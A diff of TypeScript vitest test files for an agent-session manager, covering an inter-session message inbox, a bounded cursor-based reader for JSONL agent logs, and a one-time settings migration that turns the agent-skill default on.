||||
await server.finalizeRestoredState(true);
|
||||
expect(agentInbox.pendingCount('live')).toBe(1);
|
||||
expect(agentInbox.pendingCount('kept-for-recovery')).toBe(1);
|
||||
expect(agentInbox.pendingCount('orphan')).toBe(0);
|
||||
});
|
||||
|
||||
it('a successful restore keeps the inbox of a session on the reboot-restore offer', async () => {
|
||||
// After a host reboot the dead session is in neither `this.sessions` nor state.json
|
||||
// (cleanupStaleSessions already pruned its record), only in the offer, and the
|
||||
// rebuild reuses its id, so its mail must still be there when it comes back.
|
||||
const server = bareServer();
|
||||
rebootRestoreRegistry.set([offerEntry('on-offer')]);
|
||||
for (const id of ['on-offer', 'orphan']) agentInbox.post(id, null, 'm');
|
||||
await server.finalizeRestoredState(true);
|
||||
expect(rebootRestoreRegistry.list(() => true).map((e) => e.sessionId)).toEqual(['on-offer']);
|
||||
expect(agentInbox.pendingCount('on-offer')).toBe(1);
|
||||
expect(agentInbox.pendingCount('orphan')).toBe(0);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,279 @@
|
||||
/**
|
||||
* @fileoverview The agent inbox store (src/web/agent-inbox.ts), pure: no routes, no IO.
|
||||
*
|
||||
* Each block pins one rule from discussion #558: read until ack, seen only for the
|
||||
* receiver, byte and count caps that refuse instead of dropping, a TTL counted from
|
||||
* each message's own timestamp, and a snapshot that survives malformed input.
|
||||
*/
|
||||
import { describe, it, expect, beforeEach } from 'vitest';
|
||||
import {
|
||||
AgentInbox,
|
||||
MAX_INBOX_BYTES,
|
||||
MAX_MESSAGE_BYTES,
|
||||
MAX_MESSAGES_PER_INBOX,
|
||||
MESSAGE_TTL_MS,
|
||||
} from '../src/web/agent-inbox.js';
|
||||
|
||||
const RX = 'receiver-session';
|
||||
|
||||
describe('AgentInbox', () => {
|
||||
let now: number;
|
||||
let inbox: AgentInbox;
|
||||
|
||||
beforeEach(() => {
|
||||
now = 1_000_000;
|
||||
inbox = new AgentInbox(() => now);
|
||||
});
|
||||
|
||||
const post = (text: string, from: string | null = 'sender') => {
|
||||
const r = inbox.post(RX, from, text);
|
||||
if (!r.ok) throw new Error(`post refused: ${r.reason}`);
|
||||
return r.message;
|
||||
};
|
||||
|
||||
describe('read until ack', () => {
|
||||
it('a read removes nothing; the same messages come back until acked', () => {
|
||||
const a = post('first');
|
||||
const b = post('second');
|
||||
expect(inbox.read(RX, { receiver: true }).messages.map((m) => m.id)).toEqual([a.id, b.id]);
|
||||
expect(inbox.read(RX, { receiver: true }).messages.map((m) => m.id)).toEqual([a.id, b.id]);
|
||||
expect(inbox.pendingCount(RX)).toBe(2);
|
||||
expect(inbox.ack(RX, [a.id])).toBe(1);
|
||||
expect(inbox.read(RX, { receiver: true }).messages.map((m) => m.id)).toEqual([b.id]);
|
||||
});
|
||||
|
||||
it('ack is idempotent: an id that is already gone or never existed is not an error', () => {
|
||||
const a = post('x');
|
||||
expect(inbox.ack(RX, [a.id])).toBe(1);
|
||||
expect(inbox.ack(RX, [a.id])).toBe(0);
|
||||
expect(inbox.ack(RX, ['no-such-id'])).toBe(0);
|
||||
expect(inbox.ack('no-such-session', [a.id])).toBe(0);
|
||||
});
|
||||
|
||||
it('ack removes only the given ids, never a message posted after the read', () => {
|
||||
const a = post('read me');
|
||||
inbox.read(RX, { receiver: true });
|
||||
const late = post('arrived after the read');
|
||||
inbox.ack(RX, [a.id]);
|
||||
expect(inbox.read(RX, { receiver: false }).messages.map((m) => m.id)).toEqual([late.id]);
|
||||
});
|
||||
|
||||
it('keeps multi-line text byte for byte', () => {
|
||||
const text = 'line one\nline two\r\n\ttabbed\n';
|
||||
post(text);
|
||||
expect(inbox.read(RX, { receiver: true }).messages[0].text).toBe(text);
|
||||
});
|
||||
});
|
||||
|
||||
describe('seen belongs to the receiver', () => {
|
||||
it('a receiver read marks seen; the flag on each message is the state BEFORE this read', () => {
|
||||
post('m');
|
||||
const first = inbox.read(RX, { receiver: true });
|
||||
expect(first.messages[0].seen).toBe(false);
|
||||
expect(first.unseen).toBe(0);
|
||||
const second = inbox.read(RX, { receiver: true });
|
||||
expect(second.messages[0].seen).toBe(true);
|
||||
});
|
||||
|
||||
it('a peek changes nothing: unseen stays unseen', () => {
|
||||
post('m');
|
||||
const peek = inbox.read(RX, { receiver: false });
|
||||
expect(peek.messages[0].seen).toBe(false);
|
||||
expect(peek.unseen).toBe(1);
|
||||
expect(inbox.unseenCount(RX)).toBe(1);
|
||||
expect(inbox.summary().get(RX)).toMatchObject({ pending: 1, unseen: 1 });
|
||||
});
|
||||
|
||||
it('a message posted after a receiver read is unseen again', () => {
|
||||
post('a');
|
||||
inbox.read(RX, { receiver: true });
|
||||
expect(inbox.unseenCount(RX)).toBe(0);
|
||||
post('b');
|
||||
expect(inbox.unseenCount(RX)).toBe(1);
|
||||
});
|
||||
});
|
||||
|
||||
describe('caps refuse, never drop the oldest', () => {
|
||||
it(`refuses message ${MAX_MESSAGES_PER_INBOX + 1} and keeps the first one`, () => {
|
||||
const first = post('0');
|
||||
for (let i = 1; i < MAX_MESSAGES_PER_INBOX; i++) post(String(i));
|
||||
expect(inbox.post(RX, null, 'one too many')).toEqual({ ok: false, reason: 'inbox-full-count' });
|
||||
const ids = inbox.read(RX, { receiver: false }).messages.map((m) => m.id);
|
||||
expect(ids).toHaveLength(MAX_MESSAGES_PER_INBOX);
|
||||
expect(ids[0]).toBe(first.id);
|
||||
});
|
||||
|
||||
it('counts the per-message cap in UTF-8 bytes, not characters', () => {
|
||||
// 'é' is 2 bytes: half the byte budget in characters already fills it.
|
||||
expect(inbox.post(RX, null, 'é'.repeat(MAX_MESSAGE_BYTES / 2)).ok).toBe(true);
|
||||
expect(inbox.post(RX, null, 'é'.repeat(MAX_MESSAGE_BYTES / 2 + 1))).toEqual({
|
||||
ok: false,
|
||||
reason: 'message-too-large',
|
||||
});
|
||||
});
|
||||
|
||||
it('refuses a post that would cross the per-inbox byte cap', () => {
|
||||
const chunk = 'x'.repeat(MAX_MESSAGE_BYTES);
|
||||
const fit = Math.floor(MAX_INBOX_BYTES / MAX_MESSAGE_BYTES);
|
||||
for (let i = 0; i < fit; i++) post(chunk);
|
||||
expect(inbox.post(RX, null, 'x'.repeat(MAX_INBOX_BYTES - fit * MAX_MESSAGE_BYTES + 1))).toEqual({
|
||||
ok: false,
|
||||
reason: 'inbox-full-bytes',
|
||||
});
|
||||
expect(inbox.pendingCount(RX)).toBe(fit);
|
||||
});
|
||||
|
||||
it('an ack makes room again', () => {
|
||||
const ids: string[] = [];
|
||||
for (let i = 0; i < MAX_MESSAGES_PER_INBOX; i++) ids.push(post(String(i)).id);
|
||||
inbox.ack(RX, [ids[0]]);
|
||||
expect(inbox.post(RX, null, 'now it fits').ok).toBe(true);
|
||||
});
|
||||
|
||||
it('refuses empty text', () => {
|
||||
expect(inbox.post(RX, null, '')).toEqual({ ok: false, reason: 'empty' });
|
||||
});
|
||||
});
|
||||
|
||||
describe('TTL from the message timestamp', () => {
|
||||
it('a message older than the TTL is gone, read or not', () => {
|
||||
post('old');
|
||||
now += MESSAGE_TTL_MS / 2;
|
||||
const fresh = post('fresh');
|
||||
now += MESSAGE_TTL_MS / 2 + 1;
|
||||
expect(inbox.read(RX, { receiver: false }).messages.map((m) => m.id)).toEqual([fresh.id]);
|
||||
});
|
||||
|
||||
it('a restore keeps createdAt, so a restart does not restart the clock', () => {
|
||||
post('m');
|
||||
const snap = JSON.parse(JSON.stringify(inbox.snapshot()));
|
||||
now += MESSAGE_TTL_MS - 1000;
|
||||
const restarted = new AgentInbox(() => now);
|
||||
expect(restarted.restore(snap)).toBe(1);
|
||||
now += 1001;
|
||||
expect(restarted.pendingCount(RX)).toBe(0);
|
||||
});
|
||||
|
||||
it('does not restore a message that expired while the server was down', () => {
|
||||
post('m');
|
||||
const snap = inbox.snapshot();
|
||||
now += MESSAGE_TTL_MS + 1;
|
||||
expect(new AgentInbox(() => now).restore(snap)).toBe(0);
|
||||
});
|
||||
|
||||
it('sweeps an expired message that is not first (clock stepped back)', () => {
|
||||
const late = post('posted first, stamped later');
|
||||
now -= 1000; // the clock steps back
|
||||
const early = post('posted second, stamped earlier');
|
||||
now += MESSAGE_TTL_MS + 1000 - (late.createdAt - early.createdAt) / 2;
|
||||
// `early` is past the TTL, `late` is not, and `early` sits behind `late`.
|
||||
expect(inbox.read(RX, { receiver: false }).messages.map((m) => m.id)).toEqual([late.id]);
|
||||
});
|
||||
|
||||
it('expiry fires onChange so the snapshot catches up', () => {
|
||||
post('m');
|
||||
let changes = 0;
|
||||
inbox.onChange = () => changes++;
|
||||
now += MESSAGE_TTL_MS + 1;
|
||||
inbox.summary();
|
||||
expect(changes).toBe(1);
|
||||
});
|
||||
});
|
||||
|
||||
describe('summary', () => {
|
||||
it('reports counts and the oldest unseen time, never text', () => {
|
||||
const a = post('secret one');
|
||||
now += 10;
|
||||
post('secret two');
|
||||
inbox.read(RX, { receiver: true });
|
||||
now += 10;
|
||||
const c = post('secret three');
|
||||
const row = inbox.summary().get(RX);
|
||||
expect(row).toEqual({ pending: 3, unseen: 1, oldestUnseenAt: c.createdAt });
|
||||
expect(JSON.stringify(row)).not.toContain('secret');
|
||||
expect(a.createdAt).toBeLessThan(c.createdAt);
|
||||
});
|
||||
|
||||
it('leaves out sessions with an empty inbox', () => {
|
||||
const a = post('m');
|
||||
inbox.ack(RX, [a.id]);
|
||||
expect(inbox.summary().has(RX)).toBe(false);
|
||||
});
|
||||
});
|
||||
|
||||
describe('lifecycle', () => {
|
||||
it('drop discards the inbox and fires onChange', () => {
|
||||
post('m');
|
||||
let changes = 0;
|
||||
inbox.onChange = () => changes++;
|
||||
inbox.drop(RX);
|
||||
expect(inbox.pendingCount(RX)).toBe(0);
|
||||
expect(changes).toBe(1);
|
||||
});
|
||||
|
||||
it('pruneExcept drops only inboxes of sessions not kept', () => {
|
||||
inbox.post('keep-me', null, 'a');
|
||||
inbox.post('gone', null, 'b');
|
||||
expect(inbox.pruneExcept(['keep-me'])).toBe(1);
|
||||
expect(inbox.pendingCount('keep-me')).toBe(1);
|
||||
expect(inbox.pendingCount('gone')).toBe(0);
|
||||
});
|
||||
});
|
||||
|
||||
describe('snapshot / restore', () => {
|
||||
it('round-trips messages, senders and the seen state', () => {
|
||||
const a = post('from a session', 'sender-1');
|
||||
post('from the user', null);
|
||||
inbox.read(RX, { receiver: true });
|
||||
const c = post('unseen');
|
||||
const restored = new AgentInbox(() => now);
|
||||
expect(restored.restore(JSON.parse(JSON.stringify(inbox.snapshot())))).toBe(3);
|
||||
const read = restored.read(RX, { receiver: false });
|
||||
expect(read.messages.map((m) => [m.id, m.from, m.seen])).toEqual([
|
||||
[a.id, 'sender-1', true],
|
||||
[expect.any(String), null, true],
|
||||
[c.id, 'sender', false],
|
||||
]);
|
||||
});
|
||||
|
||||
it('skips malformed entries and files instead of throwing', () => {
|
||||
const restored = new AgentInbox(() => now);
|
||||
expect(restored.restore(null)).toBe(0);
|
||||
expect(restored.restore({ version: 2, inboxes: {} })).toBe(0);
|
||||
expect(restored.restore({ version: 1, inboxes: { s: 'nope' } })).toBe(0);
|
||||
const good = { id: 'g', from: null, text: 'ok', createdAt: now, seenAt: null };
|
||||
expect(
|
||||
restored.restore({
|
||||
version: 1,
|
||||
inboxes: {
|
||||
s: [
|
||||
good,
|
||||
{ id: 1 },
|
||||
{ ...good, id: 'big', text: 'x'.repeat(MAX_MESSAGE_BYTES + 1) },
|
||||
{ ...good, text: '' },
|
||||
],
|
||||
},
|
||||
})
|
||||
).toBe(1);
|
||||
});
|
||||
|
||||
it('restores oldest first whatever the file order, so the caps keep the oldest', () => {
|
||||
const msg = (id: string, createdAt: number) => ({ id, from: null, text: 'x', createdAt, seenAt: null });
|
||||
const restored = new AgentInbox(() => now);
|
||||
restored.restore({ version: 1, inboxes: { s: [msg('new', now - 10), msg('old', now - 20)] } });
|
||||
expect(restored.read('s', { receiver: false }).messages.map((m) => m.id)).toEqual(['old', 'new']);
|
||||
});
|
||||
|
||||
it('holds the count cap on restore', () => {
|
||||
const many = Array.from({ length: MAX_MESSAGES_PER_INBOX + 5 }, (_, i) => ({
|
||||
id: `m${i}`,
|
||||
from: null,
|
||||
text: 'x',
|
||||
createdAt: now,
|
||||
seenAt: null,
|
||||
}));
|
||||
const restored = new AgentInbox(() => now);
|
||||
expect(restored.restore({ version: 1, inboxes: { s: many } })).toBe(MAX_MESSAGES_PER_INBOX);
|
||||
});
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,202 @@
|
||||
/** @fileoverview Bounded JSONL inspection: cursors, byte budgets and file generations. */
|
||||
import { afterEach, beforeEach, expect, it } from 'vitest';
|
||||
import { mkdtemp, writeFile, appendFile, rename, rm } from 'node:fs/promises';
|
||||
import { tmpdir } from 'node:os';
|
||||
import { join } from 'node:path';
|
||||
import { INSPECT_CURSORS_PER_SCOPE, InspectionReader } from '../src/agent-inspection.js';
|
||||
let dir: string;
|
||||
let file: string;
|
||||
let reader: InspectionReader;
|
||||
const scope = { owner: 'alice', sessionId: 's', generation: 'pane-1', conversationId: 'thread-1' };
|
||||
beforeEach(async () => {
|
||||
dir = await mkdtemp(join(tmpdir(), 'inspect-'));
|
||||
file = join(dir, 'rollout.jsonl');
|
||||
reader = new InspectionReader();
|
||||
});
|
||||
afterEach(async () => {
|
||||
await rm(dir, { recursive: true, force: true });
|
||||
});
|
||||
it('returns complete UTF8 records within the byte budget and resumes exactly', async () => {
|
||||
const row = JSON.stringify({ text: 'é😀' }) + '\n';
|
||||
await writeFile(file, row + row);
|
||||
const first = await reader.read(file, scope, Buffer.byteLength(row));
|
||||
expect(first.evidence).toBe(row);
|
||||
expect(first.truncated).toBe(true);
|
||||
await appendFile(file, row);
|
||||
const next = await reader.read(file, scope, 1024, first.cursor);
|
||||
expect(next.evidence).toBe(row);
|
||||
expect(next.truncated).toBe(false);
|
||||
});
|
||||
it('does not consume partial final records', async () => {
|
||||
await writeFile(file, '{"text":"hello');
|
||||
const first = await reader.read(file, scope, 100);
|
||||
expect(first.evidence).toBe('');
|
||||
await appendFile(file, '"}\n');
|
||||
const next = await reader.read(file, scope, 100, first.cursor);
|
||||
expect(next.evidence).toBe('{"text":"hello"}\n');
|
||||
});
|
||||
it('reports an oversized incremental record without splitting it or advancing past it', async () => {
|
||||
await writeFile(file, '{}\n');
|
||||
const initial = await reader.read(file, scope, 100);
|
||||
await appendFile(file, JSON.stringify({ text: 'x'.repeat(300000) }) + '\n');
|
||||
const result = await reader.read(file, scope, 100, initial.cursor);
|
||||
expect(result.evidence).toBe('');
|
||||
expect(result.truncated).toBe(true);
|
||||
expect(result.blockedReason).toBe('record-exceeds-scan-limit');
|
||||
expect(result.scannedBytes).toBeLessThanOrEqual(262144);
|
||||
});
|
||||
it('rejects malformed, cross-owner and changed-session cursors', async () => {
|
||||
await writeFile(file, '{}\n');
|
||||
const first = await reader.read(file, scope, 100);
|
||||
for (const changed of [
|
||||
{ ...scope, owner: 'bob' },
|
||||
{ ...scope, sessionId: 'other' },
|
||||
{ ...scope, generation: 'new' },
|
||||
{ ...scope, conversationId: 'new' },
|
||||
]) {
|
||||
await expect(reader.read(file, changed, 100, first.cursor)).rejects.toThrow(/cursor/i);
|
||||
}
|
||||
await expect(reader.read(file, scope, 100, 'garbage')).rejects.toThrow(/cursor/i);
|
||||
});
|
||||
it('rejects truncation, replacement and rewritten consumed evidence', async () => {
|
||||
await writeFile(file, '{}\n{}\n');
|
||||
const first = await reader.read(file, scope, 100);
|
||||
await writeFile(file, '{}\n');
|
||||
await expect(reader.read(file, scope, 100, first.cursor)).rejects.toThrow(/cursor/i);
|
||||
await writeFile(file, '{}\n{}\n');
|
||||
const second = await reader.read(file, scope, 100);
|
||||
await writeFile(file, '[]\n[]\n');
|
||||
await expect(reader.read(file, scope, 100, second.cursor)).rejects.toThrow(/cursor/i);
|
||||
const third = await reader.read(file, scope, 100);
|
||||
await rename(file, join(dir, 'old'));
|
||||
await writeFile(file, '[]\n[]\n');
|
||||
await expect(reader.read(file, scope, 100, third.cursor)).rejects.toThrow(/cursor/i);
|
||||
});
|
||||
it('expires cursors and bounds retained state', async () => {
|
||||
await writeFile(file, '{}\n');
|
||||
let now = 0;
|
||||
reader = new InspectionReader(() => now, 2, 1000);
|
||||
const first = await reader.read(file, scope, 100);
|
||||
await reader.read(file, scope, 100);
|
||||
await reader.read(file, scope, 100);
|
||||
await expect(reader.read(file, scope, 100, first.cursor)).rejects.toThrow(/cursor/i);
|
||||
const last = await reader.read(file, scope, 100);
|
||||
now = 1001;
|
||||
await expect(reader.read(file, scope, 100, last.cursor)).rejects.toThrow(/cursor/i);
|
||||
});
|
||||
it('bounds strict attribution itself and refuses an incomplete inventory', async () => {
|
||||
const { mkdir } = await import('node:fs/promises');
|
||||
const { findExactCodexConversation } = await import('../src/agent-codex-identity.js');
|
||||
const home = join(dir, 'codex');
|
||||
const sessions = join(home, 'sessions');
|
||||
await mkdir(sessions, { recursive: true });
|
||||
const id = '11111111-1111-4111-8111-111111111111';
|
||||
await writeFile(
|
||||
join(sessions, `rollout-${id}.jsonl`),
|
||||
JSON.stringify({ type: 'session_meta', payload: { id, cwd: dir, originator: 'codeman_s' } }) + '\n'
|
||||
);
|
||||
await writeFile(join(sessions, 'other.txt'), 'other');
|
||||
const options = { codexHome: home, sessionId: 's', workingDir: dir };
|
||||
expect((await findExactCodexConversation(options))?.id).toBe(id);
|
||||
expect(await findExactCodexConversation(options, { maxEntries: 1, maxBytes: 16384 })).toBeUndefined();
|
||||
});
|
||||
|
||||
it('starts at recent complete records past oversized bootstrap evidence, labeling all omission', async () => {
|
||||
const old = JSON.stringify({ system: 'x'.repeat(300000) }) + '\n';
|
||||
const latest = JSON.stringify({ assistant: 'latest 😀' }) + '\n';
|
||||
await writeFile(file, old + latest);
|
||||
const result = await reader.read(file, scope, Buffer.byteLength(latest));
|
||||
expect(result.evidence).toBe(latest);
|
||||
expect(result.omittedBeforeBytes).toBe(Buffer.byteLength(old));
|
||||
expect(result.truncated).toBe(true);
|
||||
await appendFile(file, '{"assistant":"next"}\n');
|
||||
expect((await reader.read(file, scope, 100, result.cursor)).evidence).toBe('{"assistant":"next"}\n');
|
||||
});
|
||||
it('attributes a real-sized session_meta row rather than requiring a tiny header', async () => {
|
||||
const { mkdir } = await import('node:fs/promises');
|
||||
const { findExactCodexConversation } = await import('../src/agent-codex-identity.js');
|
||||
const home = join(dir, 'codex');
|
||||
await mkdir(join(home, 'sessions'), { recursive: true });
|
||||
const id = '11111111-1111-4111-8111-111111111111';
|
||||
await writeFile(
|
||||
join(home, 'sessions', `rollout-${id}.jsonl`),
|
||||
JSON.stringify({
|
||||
type: 'session_meta',
|
||||
payload: { id, cwd: dir, originator: 'codeman_s', instructions: 'x'.repeat(20000) },
|
||||
}) + '\n'
|
||||
);
|
||||
expect(
|
||||
(
|
||||
await findExactCodexConversation(
|
||||
{ codexHome: home, sessionId: 's', workingDir: dir },
|
||||
{ maxEntries: 8192, maxBytes: 1048576 }
|
||||
)
|
||||
)?.id
|
||||
).toBe(id);
|
||||
});
|
||||
it('rejects same-size rewrites outside the bounded cursor anchors', async () => {
|
||||
const { utimes } = await import('node:fs/promises');
|
||||
const row = JSON.stringify({ text: 'a'.repeat(20000) }) + '\n';
|
||||
await writeFile(file, row);
|
||||
await utimes(file, 1, 1);
|
||||
const first = await reader.read(file, scope, 30000);
|
||||
await writeFile(file, row.slice(0, 10000) + 'b' + row.slice(10001));
|
||||
await expect(reader.read(file, scope, 30000, first.cursor)).rejects.toThrow(/cursor/i);
|
||||
});
|
||||
it('keeps cursor capacity bounded across concurrent reads', async () => {
|
||||
await writeFile(file, '{}\n');
|
||||
reader = new InspectionReader(Date.now, 2);
|
||||
const results = await Promise.all(Array.from({ length: 16 }, () => reader.read(file, scope, 100)));
|
||||
const resumed = await Promise.allSettled(results.map((result) => reader.read(file, scope, 100, result.cursor)));
|
||||
expect(resumed.filter((result) => result.status === 'fulfilled').length).toBeLessThanOrEqual(2);
|
||||
});
|
||||
it('caps cursors per owner and session, so one polling scope cannot evict another', async () => {
|
||||
await writeFile(file, '{}\n');
|
||||
const other = { ...scope, owner: 'bob', sessionId: 't' };
|
||||
const bobs = await reader.read(file, other, 100);
|
||||
// Alice polls every second for well past the old global FIFO of 1,024.
|
||||
let last = await reader.read(file, scope, 100);
|
||||
for (let i = 0; i < 1100; i++) last = await reader.read(file, scope, 100, last.cursor);
|
||||
// Bob's cursor survives, and so does a retry of Alice's last call.
|
||||
await expect(reader.read(file, other, 100, bobs.cursor)).resolves.toMatchObject({ evidence: '' });
|
||||
await expect(reader.read(file, scope, 100, last.cursor)).resolves.toMatchObject({ evidence: '' });
|
||||
// Alice keeps only her newest cursors: the oldest of one more than the cap is retired.
|
||||
const issued: string[] = [];
|
||||
for (let i = 0; i <= INSPECT_CURSORS_PER_SCOPE; i++) issued.push((await reader.read(file, scope, 100)).cursor);
|
||||
await expect(reader.read(file, scope, 100, issued[0])).rejects.toThrow(/cursor/i);
|
||||
await expect(reader.read(file, scope, 100, issued[issued.length - 1])).resolves.toBeDefined();
|
||||
// The cap counts owner and session: a new pane generation of Alice's session shares
|
||||
// it, Bob's session does not.
|
||||
const nextPane = { ...scope, generation: 'pane-2' };
|
||||
for (let i = 0; i < INSPECT_CURSORS_PER_SCOPE; i++) await reader.read(file, nextPane, 100);
|
||||
await expect(reader.read(file, scope, 100, issued[issued.length - 1])).rejects.toThrow(/cursor/i);
|
||||
await expect(reader.read(file, other, 100, bobs.cursor)).resolves.toBeDefined();
|
||||
});
|
||||
it('keeps an incomplete UTF8 sequence pending until its JSONL record is complete', async () => {
|
||||
const row = Buffer.from('{"text":"😀"}\n');
|
||||
const split = row.indexOf(Buffer.from('😀')) + 2;
|
||||
await writeFile(file, row.subarray(0, split));
|
||||
const first = await reader.read(file, scope, 100);
|
||||
expect(first.evidence).toBe('');
|
||||
await appendFile(file, row.subarray(split));
|
||||
expect((await reader.read(file, scope, 100, first.cursor)).evidence).toBe(row.toString('utf8'));
|
||||
});
|
||||
|
||||
it('treats a full incremental page as pageable rather than a blocked oversized record', async () => {
|
||||
await writeFile(file, '{}\n');
|
||||
const initial = await reader.read(file, scope, 100);
|
||||
await appendFile(file, '{}\n{}\n');
|
||||
const page = await reader.read(file, scope, 3, initial.cursor);
|
||||
expect(page.evidence).toBe('{}\n');
|
||||
expect(page.truncated).toBe(true);
|
||||
expect(page.blockedReason).toBeUndefined();
|
||||
const next = await reader.read(file, scope, 3, page.cursor);
|
||||
expect(next.evidence).toBe('{}\n');
|
||||
});
|
||||
|
||||
it('still labels the first selected oversized tail record after omitted older bytes', async () => {
|
||||
await writeFile(file, '{}\n' + JSON.stringify({ text: 'x'.repeat(100) }) + '\n');
|
||||
const page = await reader.read(file, scope, 10);
|
||||
expect(page.evidence).toBe('');
|
||||
expect(page.blockedReason).toBe('record-exceeds-output-budget');
|
||||
});
|
||||
@@ -0,0 +1,211 @@
|
||||
/**
|
||||
* @fileoverview The one-time boot migration that lets the 1.50.0 agent skill default reach
|
||||
* installs that saved App Settings before it (src/web/agent-skill-default-migration.ts).
|
||||
*
|
||||
* What is pinned, and why it matters:
|
||||
* - An absent key, a stored `true` or no settings.json at all: settings.json is not written
|
||||
* (byte-identical, odd formatting kept) and the marker is set.
|
||||
* - A stored `false` (what every 1.49 save wrote, chosen or not) becomes `true`, every other key
|
||||
* kept, exactly once: the log line prints once, and a second start reports `already-done`
|
||||
* without reading the file.
|
||||
* - An off set AFTER the migration stays off: through the real `PUT /api/settings` (what the
|
||||
* page's Save sends), then a second start. The PUT neither writes nor drops the marker, and
|
||||
* `GET /api/settings` never returns it, so the page cannot hold it to send it back.
|
||||
* - A settings.json that does not parse is left byte-identical, no marker is written, nothing
|
||||
* throws, and the next start (after the fix) does the migration.
|
||||
* - A marker that cannot be checked switches nothing on (a deliberate off must not be cleared
|
||||
* twice).
|
||||
* - The marker is not a config-backup file, and `WebServer.start()` runs the migration before
|
||||
* its first settings read and before it listens (source wiring guard: the boot call is skipped
|
||||
* in test mode, like the other boot-time writes).
|
||||
*
|
||||
* The page's side (a device blob holding the old `false`) is pinned in
|
||||
* test/agent-skill-setting-ui.test.ts.
|
||||
*
|
||||
* Port: 0 (one WebServer for the PUT/GET cases).
|
||||
*/
|
||||
|
||||
import { afterAll, afterEach, beforeAll, beforeEach, describe, expect, it, vi } from 'vitest';
|
||||
import { existsSync, mkdirSync, readFileSync, rmSync, writeFileSync } from 'node:fs';
|
||||
import { dirname, join, resolve } from 'node:path';
|
||||
import { WebServer } from '../src/web/server.js';
|
||||
import { TmuxManager } from '../src/tmux-manager.js';
|
||||
import { SETTINGS_PATH } from '../src/web/route-helpers.js';
|
||||
import { dataPath } from '../src/config/instance.js';
|
||||
import { CONFIG_BACKUP_FILES } from '../src/config-backup.js';
|
||||
import {
|
||||
AGENT_SKILL_DEFAULT_MARKER,
|
||||
AGENT_SKILL_DEFAULT_MIGRATED_LOG,
|
||||
migrateAgentSkillDefault,
|
||||
} from '../src/web/agent-skill-default-migration.js';
|
||||
|
||||
vi.spyOn(TmuxManager, 'isTmuxAvailable').mockReturnValue(true);
|
||||
|
||||
const MARKER = dataPath(AGENT_SKILL_DEFAULT_MARKER);
|
||||
|
||||
/** Written with a formatting no writer of ours produces, so any rewrite shows in the bytes. */
|
||||
const seedRaw = (text: string) => writeFileSync(SETTINGS_PATH, text);
|
||||
const seed = (value: unknown) => seedRaw(JSON.stringify(value));
|
||||
const raw = () => readFileSync(SETTINGS_PATH, 'utf-8');
|
||||
const stored = () => JSON.parse(raw()) as Record<string, unknown>;
|
||||
const marker = () => JSON.parse(readFileSync(MARKER, 'utf-8')) as { migratedAt: string; switchedOn: boolean };
|
||||
|
||||
/** The bytes of a torn settings.json (test/settings-json-write-serialization.test.ts). */
|
||||
const TORN = '{\n "agentSkillEnabled": false\n}' + 'rt-1761000000000"\n}';
|
||||
|
||||
let logSpy: ReturnType<typeof vi.spyOn>;
|
||||
let warnSpy: ReturnType<typeof vi.spyOn>;
|
||||
const migratedLogs = () => logSpy.mock.calls.filter(([line]) => line === AGENT_SKILL_DEFAULT_MIGRATED_LOG).length;
|
||||
|
||||
beforeEach(() => {
|
||||
mkdirSync(dirname(SETTINGS_PATH), { recursive: true });
|
||||
rmSync(SETTINGS_PATH, { force: true });
|
||||
rmSync(MARKER, { force: true });
|
||||
logSpy = vi.spyOn(console, 'log');
|
||||
warnSpy = vi.spyOn(console, 'warn').mockImplementation(() => undefined);
|
||||
});
|
||||
|
||||
afterEach(() => {
|
||||
logSpy.mockRestore();
|
||||
warnSpy.mockRestore();
|
||||
});
|
||||
|
||||
describe('nothing to switch on', () => {
|
||||
it('an absent key: settings.json is not written, the marker is set', async () => {
|
||||
seed({ lastUsedCase: 'demo' });
|
||||
const before = raw();
|
||||
expect(await migrateAgentSkillDefault()).toBe('nothing-to-change');
|
||||
expect(raw()).toBe(before);
|
||||
expect(marker()).toMatchObject({ switchedOn: false });
|
||||
expect(migratedLogs()).toBe(0);
|
||||
});
|
||||
|
||||
it('no settings.json at all: none is created, the marker is set', async () => {
|
||||
expect(await migrateAgentSkillDefault()).toBe('nothing-to-change');
|
||||
expect(existsSync(SETTINGS_PATH)).toBe(false);
|
||||
expect(marker()).toMatchObject({ switchedOn: false });
|
||||
});
|
||||
|
||||
it('a stored true is left untouched', async () => {
|
||||
seed({ agentSkillEnabled: true, caseOrder: ['a'] });
|
||||
const before = raw();
|
||||
expect(await migrateAgentSkillDefault()).toBe('nothing-to-change');
|
||||
expect(raw()).toBe(before);
|
||||
expect(marker()).toMatchObject({ switchedOn: false });
|
||||
});
|
||||
});
|
||||
|
||||
describe('a stored false from before 1.50.0', () => {
|
||||
it('is switched on once, every other key kept, with one log line', async () => {
|
||||
seed({ agentSkillEnabled: false, lastUsedCase: 'demo', nice: { enabled: true, niceValue: 5 } });
|
||||
expect(await migrateAgentSkillDefault()).toBe('switched-on');
|
||||
expect(stored()).toEqual({ agentSkillEnabled: true, lastUsedCase: 'demo', nice: { enabled: true, niceValue: 5 } });
|
||||
expect(marker()).toMatchObject({ switchedOn: true });
|
||||
expect(Number.isNaN(Date.parse(marker().migratedAt))).toBe(false);
|
||||
expect(migratedLogs()).toBe(1);
|
||||
|
||||
// A second start finds the marker and reads nothing.
|
||||
const after = raw();
|
||||
expect(await migrateAgentSkillDefault()).toBe('already-done');
|
||||
expect(raw()).toBe(after);
|
||||
expect(migratedLogs()).toBe(1);
|
||||
});
|
||||
|
||||
it('a false written by hand after the migration is never switched on again', async () => {
|
||||
seed({ agentSkillEnabled: false });
|
||||
expect(await migrateAgentSkillDefault()).toBe('switched-on');
|
||||
seed({ agentSkillEnabled: false });
|
||||
expect(await migrateAgentSkillDefault()).toBe('already-done');
|
||||
expect(stored()).toEqual({ agentSkillEnabled: false });
|
||||
});
|
||||
});
|
||||
|
||||
describe('a settings.json that does not parse', () => {
|
||||
it('is left alone, writes no marker, does not throw, and the next start after the fix migrates', async () => {
|
||||
seedRaw(TORN);
|
||||
expect(await migrateAgentSkillDefault()).toBe('refused');
|
||||
expect(raw()).toBe(TORN);
|
||||
expect(existsSync(MARKER)).toBe(false);
|
||||
expect(
|
||||
warnSpy.mock.calls.some(([line]) => String(line).startsWith('[agent-skill] default migration skipped'))
|
||||
).toBe(true);
|
||||
|
||||
// The user repairs the file (or restores a backup): the migration has not run yet, so it runs now.
|
||||
seed({ agentSkillEnabled: false });
|
||||
expect(await migrateAgentSkillDefault()).toBe('switched-on');
|
||||
expect(stored()).toEqual({ agentSkillEnabled: true });
|
||||
});
|
||||
});
|
||||
|
||||
describe('a marker that cannot be checked', () => {
|
||||
